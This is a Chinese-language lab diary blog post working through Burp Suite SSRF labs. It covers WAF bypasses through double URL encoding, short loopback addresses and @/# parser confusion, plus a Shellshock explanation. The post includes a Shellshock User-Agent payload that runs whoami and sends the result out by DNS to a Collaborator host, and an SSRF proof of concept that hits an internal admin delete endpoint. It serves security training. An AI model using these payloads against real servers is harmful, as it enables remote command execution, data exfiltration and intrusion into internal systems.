banner
Hi my new friend!

burplab_ssrf

Scroll down

burplab_ssrf

referer绕过

可以在referer中加个dns查询

双重url加密绕过

如果存在类似url_decode()的函数就可以了

特殊符号

1
127.0.0.1 --> 127.1

省略前导零:
127.0.0.1 中的每个部分(127, 0, 0, 1)都可以省略前导零。因此, 127.0.0.1 可以简化为 127.0.1 或进一步简化为 127.1

解析器处理:
大多数网络解析器(如操作系统的网络堆栈、Web 服务器等)在处理地址时,会自动补全省略的前导零。因此,当接收到 127.1 时,解析器会将其解释为

通过可以跳转的功能点找到可能跳转路径的parameter

找到可以跳转的元素之后,最好是放到支持POST的功能页面里面来执行

GET找到parameter , 放到POST里面

shellshock漏洞

太鸡把强了SSRF盲打 & Collaborator everywhere-CSDN博客

使用Collaborator Everywhere自动挖洞

burp插件

安装完之后在target中发现对应的url,发送到Add to Scopescope中勾选url就会开始挖洞,结果在target页面的issue

漏洞

bash版本小于4.3

可以使用shellshock漏洞

原理

1
2
3
4
5
6
7
root@ubuntu:/# export name = '() {echo "Ling";}'
root@ubuntu:/# name
bash: name: commond not found

root@ubuntu:/# bash
bash~4.3# name
bash~4.3# Ling

在 Bash 中一种独有的方法来定义函数 , 即 : 通过环境变量来定义函数

当某个环境变量的值以字符串 “ () { “ 的格式作为开头, 那么该变量就会被当前 Bash 当作一个导出函数, 该函数仅会在当前 Bash 的子进程中生效 .

导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令

HTTP中UA头一般保存在环境变量中

POC

1
() { :; }; /usr/bin/nslookup `whoami`.YOUR-SUBDOMAIN-HERE.burpcollaborator.net

HTTP协议的头User-Agent通常是保存在环境变量HTTP_USER_AGENT

shellshock的payload:() { :; }; /usr/bin/nslookup whoami.YOUR-SUBDOMAIN-HERE.burpcollaborator.net

YOUR-SUBDOMAIN-HERE就是刚才Burp Collaborator client生成的域名,该payload可以将whoami的信息带外出来

反扒措施检测referer头

Referer头被探测的原因

  • 服务器对请求来源的验证与跟踪需求:服务器通常会检查Referer头来验证请求的来源是否合法,比如防止恶意请求从非授权的页面发起。同时,服务器端分析软件会根据Referer来统计页面的访问来源,了解用户是从哪些页面链接过来的,以便分析用户行为和网站流量路径。如果服务器在处理Referer头时存在漏洞,没有对其内容进行严格的过滤和验证,就可能导致它去访问Referer中指定的任意网址,包括内网地址,从而引发 SSRF 漏洞。

携带User - Agent等信息的原因

  • 模拟正常请求行为:服务器在处理请求时,会将User - Agent等请求头信息作为请求的一部分来处理,以了解客户端的类型、操作系统、浏览器等信息,这有助于服务器根据不同的客户端情况返回合适的响应内容。当服务器访问Referer中的网址时,为了模拟正常的请求流程,通常会将原请求中的User - Agent等信息一并带上,就好像是客户端直接访问Referer中的网址一样。这样,被访问的目标网址(如果是存在漏洞的情况下)就可以根据这些信息来进一步处理请求,攻击者也可以利用这些信息来进行更精准的攻击或信息收集。

服务器端分析软件不一定会转发整个 HTTP 请求包到Referer

  • 取决于服务器端的具体实现和漏洞情况:一般来说,服务器端分析软件可能只是提取Referer头中的网址,并尝试访问该网址以获取相关信息,不一定会完整地转发整个 HTTP 请求包。

分析url语法分析器屏蔽的是什么东西

过waf的思路

  • 逐个删除,发现一定需要保留可以被解析出来的urlstock.weliketoshop.net

  • url叠上加密,层层叠加,发现只能识别一层url,两层就无法识别了

  • 使用#来注释,url编码两次就能绕过,#经过两次url编码变成%2523

  • 路径后携带@可以被识别成重定向成@后面的,但是后端代码使用的库可能没有解析多层url的能力

  • 可以使用%2523@stock.weliketoshop.net来骗词法分析器以为定向到的就是目标url

  • www.baidu.com@www.bing.com定向到www.bing.com

  • www.baidu.com#@www.bing.com后面被注释,定向到www.baidu.com

  • www.baidu.com@www.bing.com/admin访问的是www.bing.com/admin

  • www.baidu.com#@www.bing.com/admin访问的是www.baidu.com/admin

    image-20250314155431846

POC

1
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

绕过waf的其他思路文章

关于SSRF和多种绕过方式 - FreeBuf网络安全行业门户

其他文章
cover
burpsuitlab_http走私
  • 25/03/16
  • 00:00
  • 打靶日记
cover
pikachu_ssrf
  • 25/03/13
  • 00:00
  • 打靶日记
目录导航 置顶
  1. 1. burplab_ssrf
    1. 1.1. referer绕过
    2. 1.2. 双重url加密绕过
    3. 1.3. 特殊符号
    4. 1.4. 通过可以跳转的功能点找到可能跳转路径的parameter
    5. 1.5. shellshock漏洞
      1. 1.5.1. 使用Collaborator Everywhere自动挖洞
      2. 1.5.2. 漏洞
      3. 1.5.3. HTTP中UA头一般保存在环境变量中
      4. 1.5.4. 反扒措施检测referer头
        1. 1.5.4.1. Referer头被探测的原因
        2. 1.5.4.2. 携带User - Agent等信息的原因
        3. 1.5.4.3. 服务器端分析软件不一定会转发整个 HTTP 请求包到Referer
    6. 1.6. 分析url语法分析器屏蔽的是什么东西
      1. 1.6.1. 过waf的思路
      2. 1.6.2. POC
      3. 1.6.3. 绕过waf的其他思路文章
请输入关键词进行搜索